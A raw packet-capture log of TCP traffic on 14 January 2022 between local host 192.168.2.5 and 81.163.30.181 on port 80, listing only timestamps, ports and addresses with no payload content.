Jan 14, 2022 21:06:06.848889112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899490118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899519920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899540901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899560928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899563074 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899586916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899604082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899609089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899631977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899653912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899657011 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899676085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899689913 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899699926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899722099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899735928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899744987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899766922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899782896 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899790049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899811983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899821043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899835110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899856091 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899873018 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899878979 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899902105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899912119 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899924994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899947882 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899965048 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.899969101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.899991989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900001049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900015116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900037050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900049925 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900059938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900083065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900096893 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900105000 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900127888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900142908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900150061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900175095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900182009 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900197983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900219917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900233984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900242090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900265932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900279045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900286913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900310040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900326967 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900331020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900355101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900366068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900378942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900399923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900415897 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900423050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900444031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900456905 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900466919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900489092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900509119 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900511026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900531054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900549889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900554895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900578022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900592089 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900604963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900626898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900640965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900648117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900671005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900687933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900691986 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900715113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900728941 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900738001 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900760889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900774002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900783062 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900804996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900820971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900826931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900851011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900859118 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900875092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900897026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900907040 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900918961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900939941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900955915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.900962114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900984049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.900999069 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.901005030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.901027918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.901048899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.901051044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.901072025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.901092052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.901094913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.901128054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.905673027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905698061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905720949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905742884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905750036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.905765057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905787945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.905788898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905812979 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905827999 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.905836105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905874968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905879021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.905896902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905920029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905935049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.905946970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905968904 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.905982018 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.905991077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906013966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906028986 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906035900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906059980 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906070948 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906083107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906106949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906119108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906131029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906152964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906167030 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906177044 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906199932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906213045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906222105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906245947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906259060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906270981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906292915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906306982 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906317949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906339884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906353951 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906362057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906384945 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906399965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906405926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906429052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906445026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906450987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906474113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906486988 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906496048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906517029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906529903 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906538010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906560898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906575918 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906583071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906605005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906619072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906625986 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906646013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906666994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906667948 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906688929 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906707048 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.906712055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906734943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.906745911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907320976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907346010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907363892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907367945 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907391071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907406092 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907464027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907488108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907504082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907510042 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907533884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907543898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907556057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907578945 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907601118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907622099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907636881 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907643080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907665968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907685995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907687902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907708883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907720089 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907731056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907753944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907768965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907778025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907799959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907815933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907823086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907846928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907866001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907869101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907891989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907903910 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907915115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907938957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907951117 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.907960892 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907982111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.907996893 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908005953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908029079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908040047 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908051014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908073902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908083916 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908097029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908121109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908138990 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908145905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908169985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908188105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908193111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908215046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908230066 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908238888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908263922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908278942 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908287048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908309937 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908328056 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908332109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908354998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908374071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908376932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908400059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908415079 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908421993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908443928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908454895 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908467054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908488989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908504009 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908509970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908533096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908551931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908554077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908576965 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908591032 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908597946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908620119 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908638000 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908641100 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908663988 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908678055 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908685923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908708096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908720970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908730030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908752918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908768892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908773899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908797026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908813953 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908819914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908842087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908855915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.908864021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908885002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.908900976 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.957906961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.957942009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.957966089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.957989931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.957990885 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958003044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958014965 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958039045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958060026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958061934 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958081961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958092928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958105087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958127022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958141088 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958149910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958173037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958184958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958195925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958219051 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958228111 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958242893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958265066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958273888 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958287954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958309889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958323002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958332062 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958353043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958362103 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958376884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958399057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958406925 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958421946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958445072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958455086 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958467960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958489895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958497047 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958512068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958534956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958544016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958558083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958580971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958585978 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958609104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958630085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958647013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958652020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958674908 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958683014 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958697081 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958719969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958728075 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958741903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958765030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958775043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.958787918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958811045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.958821058 CET	49908	80	192.168.2.5	81.163.30.181
